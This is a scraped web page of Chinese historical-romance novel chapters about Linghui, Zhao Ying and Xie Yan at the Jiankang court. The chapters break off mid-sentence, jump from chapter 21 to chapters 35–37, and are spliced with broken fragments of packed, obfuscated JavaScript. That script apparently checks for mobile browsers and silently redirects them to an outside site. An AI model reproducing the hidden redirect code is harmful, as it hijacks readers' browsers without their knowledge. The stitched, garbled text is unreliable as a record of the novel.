谢衍闻听此言,向赵缨看去,果然见他已拿起一个形样独特的东西,放在了唇边。 原来那是羌笛声……那日在清都观外听到的,便是这个声音了。 “陛下有意将豫章长公主许给赵玄鉴,听说他以师仇未报拒了。瞧瞧,果然是杨家养出来的,连拒绝人的借口都一样。”崔珣也听说了方才灵徽拒婚的事情,很为谢衍不平。不过是个样貌略出众的女郎,配谢衍这样的家世品貌,怎么看都是高攀,偏她不识抬举。 赵缨亦如此。年纪轻轻,就位高权重,所仰仗的无非是皇帝的宠信。皇帝有意赐婚,他竟然也拒绝了,莫不是疯了。 谢衍不喜欢别人那样说灵徽,摩挲着手中的玉笛,幽幽看向了对面。羌笛声起时,她果然愣了一下,转眸望了过来。 她的眸子生的漂亮,湿漉漉的,像是林间仓皇无助的小鹿。 “是我遇到她,太迟了……”叹息的声音缓缓荡在空中,哀婉难求的遗憾弥漫在心口,但若说就此丢开,怎会忍心。 赵缨被人怂恿着,临风吹起了羌笛。笛声悠悠而起,却并不是柔软靡丽的调子。 眼下江山风雨飘摇,故都洛阳城被付之一炬,胡人陆续越过黄河向南而来,遍地焦土,民不聊生。可是建康的风却这样软,吹得人脊梁都酥了,全然忘了处境的危急和尴尬。 暖风带着酒意,让人熏然,但羌笛的声音那般沧桑,又仿佛瞬间将人带到了黄沙满地的北疆。那里刀兵未休,那里哀鸿遍野。 连豫章公主都听愣了,执杯的手顿了顿,眸中一片空茫。 谢衍手中的玉笛按了又按,最终颓然放下。 他看到了灵徽眼中盘旋的泪水,这一瞬间也忽然明白了她一身哀愁的缘由。赵缨懂她的执拗,而自己却不明白,只一心想要将她拖回万丈红尘中。 那日的卦辞,她期待的眸光,她放在他手心的温柔…… 原来她是给过自己机会的,可惜,他明白的有些迟了。长于富贵繁华之地,不解人间疾苦之声,是他的幸运,也是他和灵徽的隔阂。 “上个月,鲜卑人和匈奴人战于冀城,鲜卑人大胜,一举吞并了河北多郡。”一个声音在身后响起。谢衍回头,只见王愔白衣玉冠,坐姿端严,脸上悲喜不辨,仿佛只是为了陈述一个事实。 “陛下去岁刚封了慕容执为冀北王,慕容家口口声声称要世代效忠于大魏。如今私吞多郡,可有上 17. 十七、猛兽 《江南燕,江北雪》全本免费阅读 “元和所言甚是,赵某一介武夫,只会为国尽忠。北地纷乱,早日澄清玉宇,扫除叛逆才是正经。慕容家一日为臣,一日便不该被视为仇雠。不过非我族类,到底还要提防。”赵缨环视一周,为这莫名而起的话题做了了结。 他年岁比这些人稍大,官职又最高,所说之言掷地有声,之后便再无人敢提此类话题。 不一会儿,有侍婢走进阁中,称兽苑内新得了几头奇兽,长主邀众人前去观赏。 听闻鲜卑宇文部前些日子派使者前来朝见皇帝,特地带了许多北地珍宝,其中尤以北珠和猛虎最为珍贵。皇帝宠爱豫章长公主,特地赐下一斛珍珠,并答允在乐游苑中饲养一头。 北地猛虎不同于南方,听说体型十分健壮,毛色最是鲜亮艳丽,野性也最强。于是大家纷纷移步,前往兽苑。 “我实在不想去,现在天气炎热,那兽苑味道难闻的紧。”一个贵女娇声抱怨。 她身量纤纤,年岁应该比灵徽小一些,见灵徽看她,腼腆一笑:“女君想去么?咱们不如就留在这里赏花饮茶,可好?” 灵徽莞尔,声音里带着引诱:“北地猛虎骨骼十分健壮好看,难得见到,你不想去看看吗?” “我害怕……不过,那……好吧!”那女子的眼睛眯成弯月,愉快又忐忑地跟在她身后。 “我叫袁容姬,家中行八,所以家里人都喊我八娘。”她的脚步有些慢,走得踉跄又慌张,一面走一面不忘介绍自己。 “我知道。”灵徽转头等了等她,微带着笑意。 卫将军袁祜的幺女,掌上明珠般的存在,怎会不知。袁祜曾在杨尚身边任参军多年,灵徽见过很多次。后来他被调回了豫州任别驾,洛城失守后,阴差阳错在南阳救了当今圣上,于是地位水涨船高,被任命为卫将军,都督徐州诸军事,可谓国之肱骨,位高权重。 如今朝廷中仍存北伐之念的,袁祜便算一个。哪怕不为了当年意气,也需考虑北地世族日渐式微的局面。汝南袁氏,大多族人留在了北方,迁徙过江以来,夹杂于王谢之间,受制于南方本土世族,日子算不得好过。 “女君在北地时曾见过吗?”容姬追问,问完后忽又想起了灵徽的经历,有些尴尬,红着脸讷了半晌。 灵徽似乎不以为意,接过了她的话:“不仅见过,还曾猎过。” “猎过?”容姬眼睛都瞪圆了,不可思议地看着灵徽。 这么一个身姿绰约,柔美如水的女子,竟然猎过虎?! 确实猎过,不过那时候被困在那个男人怀中,被他胁迫着拉起弓弦。那样的恐惧,紧张,窒息……她永远忘不了。 “瞄准目标,平心静气,一击而中。”他的声音沉沉的,带着不容拒绝的强硬。 “若是杀死了它,虎皮做毯,虎骨入药,若是心软,你便是它今日的夕食。”他依旧在蛊惑,用残忍的调子。 执手,拉弓,离弦而去。 一个连猛虎都不畏惧的人,当真可怕。 “猛虎再凶,也有弱点,人才是这个世上最可怕的。”她轻轻说道,声音有些渺远。 袁容姬听着,细细思量,觉得很有道理,不住地点头。 “姊姊,我今日便跟着你。你再给我讲讲,好不好?”几句话,女君便成了姊姊,袁容姬是个心性单纯烂漫的人,因为如此,才会很快和人亲近起来。 远远传来虎啸声,树叶都被震得颤抖起来。巨大的铁笼里,几个衣着鲜艳的兽奴试探着逗弄那只虎,在两只虎的袭击中身姿矫捷地四处躲避。 那猛兽果然生得威武健壮,骨骼如山般起伏,一双眼睛锐利如刀,紧紧盯着兽奴,显然已被激怒,随时准备扑杀猎物。 随着围观之人越来越多,叫好声开始此起彼伏。猛虎环顾四周,忽然慢慢伏低了身躯,像是偃旗息鼓一般。 兽奴看着猛兽被折腾的筋疲力竭,得意地挥舞着手中的肉,浑然不知危险的降临。可他手中的那点诱饵,哪里能满足野兽的胃口。 变故不过瞬间。仿佛一道闪电劈在眼前,在所有人还未反应过来时,猛虎已经扑到了兽奴身上。锋利的爪牙亮出,不过一个呼吸的时间,血肉横飞,兽奴连痛呼声都为来得及发出,已然支离破碎。 贵女们何曾见过这等画面,登时尖叫的尖叫,躲避的躲避,容姬仓皇之间扑到了灵徽的怀中,撞得灵徽一个趔趄。 身后一只手,牢牢扶住了她的腰。 蓦然回望,直直撞到了一对幽黑深邃的眸子里。那只手的温度,她再熟悉不过,自小牵着她,护着她,是她一直仰仗的底气。 匆忙相护,匆忙放开,宛若错觉。 灵徽没有再回头,只留给赵缨一个后背,将瞬间红了的眼圈留给 18. 十八、变故 《江南燕,江北雪》全本免费阅读 持刃的奴隶和杀红眼的野兽斗在一处,血腥残忍又焦灼紧张的态势很快就如预期般到来。夸张的叫嚷声此起彼伏,方才还故作端雅的公子贵女们脸上带着诡异的兴奋之色,完全抛弃了一直都引以为傲的矜持,无所顾忌地暴露出自己的丑态。 灵徽微微别过脸,嫌恶地遮住了鼻子。 越来越重的血腥气,已经传递出铁笼中的战况,虎啸声从压抑慢慢变得激烈,逐渐淹没了人的惨叫声,但灵徽听出了其中夹杂的式微之相。 万物相类,繁华和鼎盛到达一定的程度后,很快就会迎来无法挽留的衰败,倾颓,日薄西山。 那只虎在连续杀死数人后,体力已经到达了极限,但身上的伤口血肉模糊,让它疼得抓狂,只有嘶吼着,想要让所有伤害过自己的人付出代价。 就在猛虎疯狂反扑时,那个躲在角落的兽奴终于开始缓缓移动,寻找机会绕到了这只兽的身后。 当锋利的爪牙又撕碎了一具躯体,仰着头宣告自己的胜利时,身后一道影子一跃而起,寒光闪过猛兽锐利的眼睛,让它猛然惊觉,可已然来不及了。那只刀刃已经刺穿了它的脖颈,果决又狠辣。 疼痛让猛虎剧烈挣扎起来,它拼命扭头,想要甩开已经骑坐在它身躯上的人。可是那个人却依旧死死地握着刀刃,眼上猩红一片,目眦尽裂。 最后,霸主的身躯终于如山一般倒下,不可一世的眼睛渐渐阖上,一动不动。而那个将它一举杀死的人也终究力有不逮,随之滚倒于黄土中,五官僵硬,呼吸沉沉。 变故太快,场上的人屏住许久的呼吸,这才终于找回了原本的节奏。豫章长公主不知何时也站了起来,走到了铁笼边,一双眼睛里闪烁着兴奋的光芒。 相比于其他贵女的惊吓又好奇,她似乎并不恐惧于这样的血腥与残忍,反而因为这个画面,看上去异常兴奋。 诡异的兴奋。 若非战乱横生,这位长公主原本也该是无忧无虑度过一生的。懵懂单纯是一种幸运,可是上天并没有给他们这些人这样的幸运。 “厚赏!”豫章长公主拊掌大笑,“有勇有谋,区区两镒黄金怎够,今后便跟在孤身边吧。” 听到这句话,那个兽奴慢慢抬起了头,挣扎出一个行礼的姿态,但终究力有不逮,颓然倒了下来。 贵女们的面色终于恢复了过来,交头接耳地议论着这个奴隶的勇猛,郎君们依旧言笑晏晏,好像能从一场人与兽的搏斗中,看出什么韬略兵法。 熏风很快吹散了血气,铁笼打开,仆从麻木地往外抬着支离破碎的尸体,好像这些残躯断臂不过是屠狗宰羊的结果。 赵缨悲悯地看着这一切,感觉自己犹如置身于一场荒唐的游戏中,游戏里的人癫狂地笑闹,让他觉得压抑又痛苦。 不由得往灵徽那里望去,她嘴上和自己置气,心里也会害怕的吧。她一向胆小,心底柔软,今日不该让她来此,见识这世间的种种残忍和扭曲。 记得小时候,他曾为她抓过几只兔子养在后院里。有一天,她忽然来寻他,眼睛通红,该是狠狠哭过一场。 “怎么了,圆月?”他焦急的问,直觉是她受了欺负,已经准备好替她出头了。 可是她却扁了扁嘴,终于还是忍不住“哇”的一声,哭着扑在了他的怀中:“阿兄,有只兔子死了。明明昨天还是好好的呀!” 听完她的哭诉,赵缨紧绷的神经忽然就放松了,只要不是她受了委屈便好。只是应该如何告诉她,生老病死是常事,人和物皆是如此。但她还是个单纯无知的孩子,接受这样的说法,应该很困难吧。 那一日,哄得她终于不哭时,已经夕阳西下。看着晚霞染透了半面天空,用温暖的光芒安抚着千家万户时,他默默地想,那些生死别离自己受着就好,这个小女郎应该一生一世,平安喜乐,无忧无虑。 可是她分明已经被磋磨的面目全非,记忆里娇憨的容颜不再,她美丽依旧,却总是伴随着哀愁。 这都是他的错,是他没有履行好自己的诺言,辜负了她的信任。 当赵缨好容易看到灵徽时,预料中的恐惧并未在她脸上出现。她的脸上带着妍美的笑容,正在奉承着那个跋扈恣睢的豫章长公主。两个人的举止看着 19. 十九、故梦 《江南燕,江北雪》全本免费阅读 灵徽做了一个杳杳的梦。 梦中洛城仍在。 她所住的庭院里有一棵很大很大的枇杷树,听说早些年是结果子的,可不知为什么后来再也没有结过。不过那树仍旧长得枝繁叶茂,遮蔽了半个院落。 那棵树,曾是她叛逆过的证据,是她与外界事物唯一接触的纽带。 阿父常年驻守在晋阳,后宅又空无一人,所以府中只留了管家和乳母照料。乳母沈氏是阿母母家所派,大家族的仆婢最是循规蹈矩,性子温柔却也古板,对她的管教得尤其严格。仪容举止都是常规项目,还有一些额外的规定,譬如无事不得出庭院,出门必须带护卫遮幂离,年纪渐大,不可与男子走得过近。 “阿兄也不可以吗?”她仰头问,已经十三岁的女郎,长着一张团团可爱的脸,仍未褪去孩子气。 乳母肯定地点头:“赵郎君与你并无血缘关系,女郎长大啦,当知男女有别。你是弘农杨氏和博陵崔氏的女儿,万不可以让人指摘半分。” 她听得半懂不懂,心底却半点也不认同。 阿兄是她最亲近的人啊,从他被阿父接来府中的那一天他们就一直在一起,直到他去了战场,才有了短暂的分离。但他回来的频率还是会比阿父多一些,而且每次回来都会带好东西给自己。 “那不一样的,小时候是小时候,女郎将要及笄了,迟早是要嫁人的。”乳母仍旧摇头,不认同她孩子气的话。 “嫁人是什么意思?”她仍追问不舍。 这便是家中没有女主人的坏处,一般的小女娘在这个年岁,多少是通些人事的。可是灵徽却俨然一个孩童,单纯的无以复加。 乳母叹了口气:“便是和一个人长长久久在一起。” “那我就嫁给玄鉴阿兄,长长久久地和他在一起。”灵徽笑得灿然,好像完全不明白自己说得是多么重要的一件事。 赵缨是孤儿,冠礼还是杨尚给他办的,取得表字便是“玄鉴”。自那以后灵徽每次叫他都是“玄鉴阿兄”,仿佛那样就足够与众不同。 沈氏得眉皱得更深了,当初主君带赵缨回来时,她就觉得很不妥。灵徽虽小,但赵缨却已经懂事了,一个少年久居内宅,实在不合礼数。但主君坚持,加上那个少年又生得俊俏标致,品性也好,她也不好说什么。 可女郎是什么出身,她将来婚配的对象,只会是世家大族,甚至进宫也不无可能。赵郎君再好,也被出身拖累了。 …… “圆月,别爬太高!”赵缨站在树下,对她喊道。弱冠少年已然长身玉立,沉淀出端稳又内敛的气质。 五年时间,足够褪去当初的青涩与腼腆,长出宽厚的肩膀,担当一切大任。 “阿兄,你怎么这么久都没回来?”她坐在树上,小脚一晃一晃的,脚踝上绑着一圈金色的铃铛,那是沈氏对她的宠溺。 随着她的晃动,那铃铛发出悦耳的响动,一声一声,仿佛都在他心弦之上。 “前方战事焦灼,阿兄可能又有很久不能回来看你了。外面太乱,你乖乖待在府中,哪儿都不要去。” 两年时间,权臣换了五个,四个诸侯挟持过天子,朝中势力你方唱罢我登场,好不热闹。中原之乱一起,胡马便趁机南下,一举攻破边防,逐步逼近京城。唯有阿父驻守的并州还在苦苦支撑。 这一年,灵徽十五岁,笄礼已成,她逐渐明白了许多东西。譬如沈氏所说的男女有别,譬如她时时念叨的“士庶之际,实自天隔”。她已被皇帝指婚,对方是琅琊王家的王愔。可那又如何,赵缨之于她,从来都是最亲近的,她没有想过要与他生分。 “阿兄,我跳下来啦,你要接住我!”灵徽任性时会有些小刁蛮,似乎用那样的态度,就可以留住自己想要的一切。 她有种豪赌的心态,只要对方有一丝的犹疑,她就会放弃的很干脆,不再回头的那种。 树影的斑驳下,高大的少年张开了臂膀,拥住了蹁跹而落的女郎。她已长成娉婷绰约的样子,有着自己不敢窥视的美丽,就那样柔软如云朵般,猝不及防地撞进怀中,让他溃不成军,让他丢盔弃 20. 二十、伤势 《江南燕,江北雪》全本免费阅读 医女赶来时,正好遇到灵徽换药。她伤在大臂,位置尴尬,所以在乐游苑中只进行了简单的处理。此时再去看,已是一片狼藉。 天气炎热,一部分伤口已经化脓,急需要先清理腐肉,才能上药包扎。 医女看得直咬牙,刮腐肉时手都在颤抖。然而这个看上去娇柔的女子,却一声都不吭,只是低头,沉默地看着她动作。 若不是她苍白的脸色,额上涔涔的汗珠,还有那剧烈颤抖的手暴露了她的状态,医女几乎以为她并非血肉之躯,丝毫感知不到人类的痛觉。 “女君,你疼了就喊出来好不好。”那个叫云阁的婢女一面帮她擦着冷汗,一面红着眼睛央求。 灵徽咬着下唇,逼迫自己从疼痛造成的窒息中清醒过来,弯了弯唇角,强迫出一个奇怪的笑容:“不疼的,只是看着吓人罢了。” 怎么会不疼?豫章公主只是撞到了地上,磕到了骨头,尚且哭得撕心裂肺。她们的女君可是切切实实地挨了一刀,若不是赵将军及时出手,那刀刃刺透手臂也不是不可能。或者要是再偏一些…… 云阁不敢再想下去,只能哽咽着帮她擦汗,暗自抱怨着自己的无能。 “女君,你别咬自己了,你咬着我吧。”星台也开始啜泣,她看到灵徽原本苍白的嘴唇上,突兀地出现了一抹刺目的血红,忍不住将自己的手臂递到了灵徽的唇边。 “不要说话,别干扰神医。”她的声音仍带着笑,但显然已经发虚了。说罢,对着医女道:“不要犹疑,下手快一些,我也能少受些罪。” 医女抬头,见她鼓励似的点了点头,终于也克制住了自己的颤抖。 不知怎地,她想起了灵徽腹部的伤口。究竟有多心狠,才能自己刺自己那样深,竟是不打算活命一般。而那个伤,就算人救过来了,也会给身体带来不可逆的损害。 “女君今后再难有孩子了。”她记得自己吞吐着说出这句话时,对方脸上惨淡的笑容。 “那有什么,原本就不该有……”她是这样回答的。 医女心中忽然升起一个可怕的念头,但是拼命压下,强迫着自己不可胡思乱想。怎么会有女子这般做呢……都说为母则刚,若真的有了孩子,心肠定然会柔软很多,不会如此残忍。 不过,这个女子的确很不寻常啊。她总是保持着笑容,但给人的感觉却清冷疏远的厉害。近距离观察就能发现,她的笑容只在唇角,从未进入过眸中。 “阿兄让你留在我这里,原本我是不答应的。”上药的时候,灵徽忽然开口,声音缓缓的,有些沙哑。 医女仰头,一双大眼睛里满是困惑,等着灵徽将话说完。 她看着这个表情,不禁莞尔:“眼看着我三灾八难的,好像确实需要个医女在身边呢。而且……”灵徽顿了一下,“你小小年纪,医术就已经如此了得,可见是个纯挚的人。人啊,若是心思太复杂,做什么都会一事无成。你不一样,将来是有大出息的。” 医女被她夸的脸红,上药的动作更轻柔了几分。 “你之前叫什么名字?”灵徽问道。 医女低头,羞涩道:“奴是孤儿,师父说我从路边荆棘丛里捡的,又是荆州人。所以叫我荆生。” 饶是云阁她们教养不错,听到这个名字都不禁笑了出来。哪有女孩子叫这个名字的,不好听,也蛮得很。 灵徽却没笑,认真思索了片刻后说道:“荆州,楚之故地也。不如就叫楚楚吧,草木茂盛的样子。可好?” 荆生回味了一下这两个字,手却被执了起来。灵徽用未伤的那只手,轻轻地在她的掌心描画着那个字的笔画,直到她将这个字深深刻在了心底。 “从此以后你便跟着我吧,不用再回荆州,和云阁星台一样,不是奴婢,而是相互依靠的家人,可好?”灵徽慢慢说道。 以前听过一个故事,说是云梦泽边有神女,所见之人皆被蛊惑,听她吩咐无有不从,即使清醒后亦不悔恨。 或许之前那只是个故事,现在楚楚却觉得,这就是现实。灵徽亦如那神女,她愿意听她的一切吩咐,无有不从,绝不反悔。 外面响起了叩门声,略有 21. 二十一、情意 《江南燕,江北雪》全本免费阅读 谢衍站在门外时,雨势仍大,细密的雨丝很快就织成了一张巨大的网,将天地万物都网罗其中,形成一方靡靡滂滂的世界。 他大约是失了魂魄,不然也不会在目睹她受伤后,恨不得以身相替。 她拒绝的彻底,但他还是不死心,做不到对她漠然视之。 他看到灵徽的鲜血汩汩地流淌,浸湿了半幅衣衫;看到赵缨失魂落魄的抱着她,不住地叫着她的名字;看到骄横跋扈如长公主都吓得面如土色,不停地喊着医官。可他没有身份去做任何事情,就连想要上前去看,都会被阿姊拦住。 “阿弥,情况不明,若是还有刺客潜伏,恐有危险。”阿姊冷静亦如平常,分毫不考虑他的心急如焚。 他只觉得五脏俱焚,忍不住就要挣脱控制。 “阿弥,你是谢家儿郎,怎能这般沉不住气?”长姊的手攥的更紧,连带着身边大大长秋都上前规劝:“小郎就听殿下的吧,人多嘈杂,还是等金吾卫到了再说。” 事发突然,贵人云集,谁敢料定刺客的人数,拿这些人的生死不当回事儿。 谢衍何尝不明白,只是他更看清楚了自己的心。 他对灵徽的确是一见钟情,原本也以为这样的喜欢不过浮光掠影,转瞬即逝。可他偏就泥足深陷,越来越无法自拔。或许情爱之事本无缘由,与其去质疑自己的心,不如勇敢的承认,积极的付出。 “灵徽受了伤!”他不想多做解释,短短五个字,是他能隐忍的极限。 谢后看着弟弟,眼里有失望的神色。谢家儿郎众多,优秀者如过江之鲫,但都比不上阿弥。他天资颖悟,心性纯良,只要多加历练,定会成为祖父那般王佐之才。 可他现在却要为了一个女人,失魂落魄,分寸大乱。何况还是一个拒绝了他的女人。她有心以杨氏女结交赵缨不假,但绝不代表她会忍受谢家未来的家主耽于女色。 “贤贤易色,动心忍性。阿弥,杨家女郎当真会喜欢一个莽撞轻浮的郎君吗?”谢后知道此时说灵徽的不好,只会招来谢衍的逆反,干脆换一个方向。少年人心气最高,容不得自己有半点不好,尤其是面对心悦之人。 果然,谢衍的焦急之色慢慢沉淀了下来,无奈地枯手站在原地,眼中弥漫着几分无奈,几分失落。 “阿姊说的,我都明白。”他凝眸,敛去了多余的神色,如他们期待的那样无悲无喜,“此间危险,阿姊先回宫,这边有我来善后,大可放心。” 谢后终于放下了心,欣慰地拍了拍谢衍的肩膀,用关切地语气道:“有你在,我自是放心的。一切处理好,莫要让王家多加置喙,徒生风波。” 谢衍点了点头,再无多言。安定人心,遣散众人,指挥着禁军捉拿嫌犯……一切料理好,已然天色昏暗,乌沉沉的云压在头顶,想来有风雨将至。 “郎君,可回府?”庚寅看了看天色,问道。 谢衍却跨上了马,尚未等庚寅等人反应过来,人已疾驰而去。 “郎君,快下雨了,还是乘马车吧。”庚寅的声音在身后远远响起,却被他充耳不闻。马车太慢,他哪里等得及! …… 沉沉脚步声传来,不徐不疾的节奏,打断了谢衍的思绪。他循着声音去望,却见赵缨正绕过曲折的回廊,缓步而来。这大约就是长姊口中的君子容止,无论何时,这个人都沉稳如山,言行举止是无可指摘的端稳,就好像天崩地坼也不能让他动容分毫。 除了灵徽的事。 那般无措的他,谢衍第一次见到。 玄色的身影慢慢走近,手里端着一盏东西,蒸腾的雾气模糊着他俊朗的五官,见谢衍望着自己,他展颜微笑,然而也是浅浅的,带着克制的弧度。 赵缨行伍出身,这些年虽仕途顺遂,升迁不断,然而与建康世族到底不熟稔,关系疏淡的很。 谢衍终于有机会认真端察这位御前红人。总觉得他有一丝奇怪的地方,始终不得其解,现在却恍然。他的笑容和灵徽很像,仿佛在笑,却于笑意中藏着无限的落寞和空寂。仿佛那不是内心愉悦的表达,而是不得不给世人做出的反应。 这样的发现,让他心生一丝悲伤,胸口处空落落的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941978|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢放下,弯起的唇上却没有任何明艳的色彩。“谈何容易,据我所知,王家已对此位置势在必得,长公主也有意促成此事。” “这便是你接近她的原因?我明明告诉过你,那个女人就是个疯子,你离她远一些,你为什么不肯听?”赵缨忍不住又走到灵徽身边,看着这张熟悉又陌生的脸,忽然想到什么,忍不住一把捏住了她玲珑的肩,“你告诉我,那次替她挡刀,是不是你有意为之?” 这句话说完,他的眼圈都红了,手上的力量陡然加重,却抖得不成样子。 “你是不是有意这样做?”一字一句,仿佛呼吸都有了重量般,沉沉压在他的胸口。 “对啊,”云淡风轻的一句回答,让他整个人都被定住了一般,怔怔然,茫茫然。可是对方却丝毫没有察觉一般,平静地有些残忍,“非但如此,刺杀的人也是我的人,分寸掌握的很好。这就是一个苦肉计,目的便是让长公主接纳我,信任我。这样的回答,可为阿兄解惑了?” 如火的怒气灼灼燃烧在胸口,又以燎原之势弥漫于所有的脏腑间。赵缨觉得喉口有些腥甜,半晌才从唇齿中挤出了一句话:“圆月,你怎么变成了这个样子?” 如何变成了这个样子? 灵徽也不止一次的问过自己,多少个午夜梦回,她亦恍惚,曾经那个自己究竟去了哪里?可是她不遗憾,人总不会一辈子被庇护着,忘记成长。她会用自己的方式去做自己想做的事情,无论对错。 所以,面对赵缨的质问,她没有退缩,仰着头,弯出一个酸楚的笑容:“阿兄认为我该是什么样的呢?无忧无虑地等待你的救赎?恬淡平静地面对所有的不公?躲在你身后,把本该属于自己的事情全部交给你去做?阿兄,我做不到。” 哪怕房门深闭,夜风的冷还是无法阻挡。灵徽拢了拢身上的衣衫,脸色苍白,神色凄婉:“我在北地时,见过百姓用泥土捏造神像,那些神像与庙中的全然不同,与经书中更是迥然相异,可他们却对自己塑造的东西及其虔诚,顶礼膜拜。我就在想,或许阿兄喜欢的,本不是灵徽这个人。你只是习惯了保护我,照顾我,从而在心中造出了一个柔弱单纯的女子,想将自己的体贴和爱都给了她罢了。” “那个人,从来都不是我啊!”她的语调平静,可是赵缨却分明看到那蜿蜒而出的一行泪水,默默无声,让人心碎。 36. 三十六、约定 赵缨怔怔站在原地,秋意微凉,心亦苍凉成一片。 他不明白灵徽口中的“喜欢”到底是什么意思。如果说那些刻骨的相思不算,那些日夜的挂念不算,那些本能的守护不算……那大概就是不喜欢吧。 她说,自己所怜惜的,不过是心中的那个杨灵徽。可是她根本不明白,这个世上,杨灵徽只有一个,和他一起相伴相惜着长大,是他仰望不到的月,是他不敢奢求的光,无论变成什么样,他都舍不掉对她的牵念。 他不过是怕她报仇心切,伤着自己。 有些恼恨自己的拙于言语,赵缨眼圈微红,一双手攥得紧紧的,想要去触碰近在咫尺的人,但又在她的泪水侵袭中,手脚无措。 “我说过要护着你,便不会食言,自然希望你这辈子都不会受半点委屈。圆月,你当真不知道我到底在担心什么?” 灵徽的半张面庞隐在烛火跃动中,看着有不合年龄的沧桑。听到赵缨这般说,她也只是浅笑一声,道:“我的确不知道阿兄在担心什么,阿兄什么都不说,我哪里能猜到……” “圆月,你想让我说什么?”赵缨情急之下,又靠近了几步,烛火将他的影子拉得很长,两个身影交叠在一起,依稀是亲密无间的模样。 灵徽的眼中仍有残泪,但已然恢复了平静,望着赵缨的眸光盈盈如波:“想听阿兄说,你会与我同仇敌忾,不离不弃。想听你说,绝不欺瞒我,你我同喜同忧。还想听你说,你会和以前一样纵着我,支持我所做的一切。这些话,阿兄会说吗?” “会,这些话一直在我心里,我从不否认。”赵缨的手锁住了她的肩膀,迫着她看向自己。他的眼眸很深邃,仿佛漫着一片星辰大海,随时能让人溺在其中。 灵徽从小就喜欢看他,那样俊秀标志的少年,偏从未在意过自己的容貌,只一门心思的想要建功立业,有时候回来时脸晒得黢黑,还满不在乎。她给他做的那些颜色鲜焕的新衣裳,他从来不穿,成日里就执着于那些老气横秋的颜色,看着老成的厉害。 往事如一层又一层的巨浪般拍了过来,带着潮湿的伤感。她的眸子也湿漉漉的,蕴着一丝期待。 赵缨也在这样的期待中,被引诱着,终于说出了心中藏了多少年的话:“圆月,仇我们一起报,我不会欺瞒你半分,也不会束着你,拿你当个什么都不懂的孩子。可是,你也要答应我,不能以身犯险,不能让自己受到伤害。你我一起并肩携手,再不分离了。” 他说这些话,自以为鼓足了巨大的勇气。可她的眸光仍有些咄咄逼人:“我也不想和阿兄分离,可是我就要奉旨嫁到谢家了呀,这又该如何是好?” 这个问题,终于让赵缨从狂乱的情愫中清醒了过来,这也是他今日携着怒气而来的原因。皇帝的心思他怎会不明白,他固执着拒绝了皇帝的赐婚,也不过是想给彼此一个可能,哪怕这个可能带来的代价是失去皇帝的信任。 他舍不得的人,只有她。 可是摆在他们之间的难题,不容忽视。最讽刺的是,最先促成此事的人,正是他自己。他满心以为,谢家七郎会是灵徽的良配,唯有那样的家世人品才堪与灵徽相配,他是做好了打算退出的。 可她亲口告诉自己,她不喜欢谢衍,她在意的人是自己。 如此平凡的自己,凭什么得到她的青眼呢,她不过是习惯了自己的照顾,误将亲情当做了爱意。 可是既然她这样说了,他便只能当真了。 “我不会让你嫁到谢家。”赵缨伸手,触了触这个他熟悉又陌生的脸,那上面有细腻的肌肤和冰冷的触感。她日益妍媚,却日益危险。明知道会被搅进怎样一滩浑水之中,可多年的坚守和执念,容不得他退缩。 灵徽并没有退避,反而顺势将脸颊贴近了他的掌中,贪恋般的蹭了蹭。 “两个月。”她的声音仿佛被夜风吹散成了一抹烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960698|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,飘荡幽魅,“阿兄只有两个月时间。若是这两个月毫无任何变数,那我便只有认命了。” “嫁个谢衍也没什么不好,衣食无忧,恰如兄长所期盼的那样。” …… 回到景阳里时,夜色深浓,一轮苍苍的月孤零零地悬在天上,若一面镜子,似乎能照出世间百态。 他不记得自己究竟答应了没有,恍恍惚惚的,翻来覆去都是过往。 那些冗长的记忆,真的像一场梦啊。梦里他什么都有,有慈爱教导自己的师父,有伶俐乖巧的圆月,还有一个寒门子弟的一腔热血,满心渴望。 可是有一天,梦境却被踏碎了。他挣扎着活了下来,不过就是忍着一口气,想要找回失去的一切罢了。筹谋了许久的事情他不会放弃,他会挽救这风雨飘摇的河山,会带着兵马赶走北地的胡虏,会给师父一个交代。 可灵徽,他也不会放手。曾经的退缩不会再有,当知道她心意的这一刻起,他就不会再放手。 …… 灵徽亦坐在窗边坐了很久,一轮明月,漫天霜雪,凝固了满面的泪痕。 她不想这样逼迫赵缨,他的一步一步如何艰难,她都看在眼里,可是他这样的人,不逼迫一把,又该如何走下去呢?他太过于内敛,太过于迟钝,爱和不爱都藏得太深……她本做好了踽踽独行的准备,可是未来的路上没有他,该有多孤独。 “女君,该休息了,明日还有许多事情呢。”云阁的劝说算得上委婉,但却切中要害。此次搅扰到了皇后之事中,又引起了皇帝的提防和不满,接下来自当慎之又慎,由不得她轻易松懈。 无论赵缨如何做,这两个月的时间里,她也不会停下脚步。谢家之事她会自己处理好,长公主那边她也不会如赵缨所愿远离,布置在建康的诸多眼线,也自有用处。 她给出这个时间,不过是想给彼此一个机会,无论结局如何,都不至于太遗憾。 37. 三十七、谢门 谢衍很快就将人挑好,送到了皇后身边。七八个妙龄少女,皆为谢家家生子,样貌和性子都属佼佼。皇帝显然对他的周到和细心颇为满意,以谢衍才略出众,任职勤勉为由,加封他为通直散骑常侍。 谢衍并未因为此次升官而喜悦。 散骑常侍虽为散官,但官阶甚高,他自认为毫无寸功于朝廷,故而坚决辞拜不受。皇后劝说无果,只好让灵徽去试试。 